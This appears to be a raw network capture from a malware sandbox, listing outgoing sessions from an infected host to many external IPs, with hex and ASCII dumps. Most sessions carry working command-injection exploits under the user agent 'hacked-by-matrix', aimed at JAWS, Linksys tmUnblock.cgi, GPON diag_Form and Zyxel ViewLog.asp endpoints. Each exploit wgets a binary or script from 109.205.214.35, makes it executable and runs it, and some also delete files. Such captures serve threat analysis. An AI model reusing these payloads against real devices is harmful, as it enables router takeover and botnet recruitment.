Mar 21, 2024 05:22:19.621339083 CET	506	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 67 61 64 61 72 2e 74 61 72 6e 6f 77 2e 6e 65 74 2e 70 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at agadar.tarnow.net.pl Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.14	39508	111.84.174.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:19.242985010 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:20.270524025 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:20.603998899 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Thu, 21 Mar 2024 04:22:20 GMT Date: Thu, 21 Mar 2024 04:22:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 62 61 35 34 36 66 26 23 34 36 3b 31 37 31 30 39 39 34 39 34 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4ba546f.1710994940.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.14	53168	98.97.122.219	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:19.933118105 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.14	44786	172.67.209.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.020931005 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:20.297405005 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.14	51290	42.111.23.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.258598089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.14	40524	42.92.214.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.258666039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.14	33104	94.183.147.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.258738995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.14	42548	2.65.239.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.258775949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.14	38270	89.19.53.13	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.447650909 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:20.620994091 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.14	57954	78.47.159.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.625552893 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.14	51340	50.113.94.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.639528990 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.14	36504	82.145.210.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.787307024 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.14	59866	172.67.66.199	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.822139978 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.14	53680	37.77.104.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.834373951 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.14	53896	177.66.129.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.841763973 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:21.068805933 CET	879	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZXIC corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 58 49 43 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZXIC corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.14	58578	2.17.212.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.875292063 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:21.213941097 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:21.466109991 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:21 GMT Date: Thu, 21 Mar 2024 04:22:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 66 33 36 31 36 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 34 31 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4f361602.1710994941.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.14	41356	172.66.153.111	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.909174919 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.14	38162	206.81.4.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.988569975 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:21.505610943 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:22.113850117 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.14	46218	172.65.90.82	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:21.022619963 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.14	58566	2.17.212.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:21.529036045 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:21.779958963 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:21 GMT Date: Thu, 21 Mar 2024 04:22:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 66 33 36 31 36 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 34 31 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4f361602.1710994941.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.14	38154	206.81.4.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:21.991771936 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:22.276804924 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 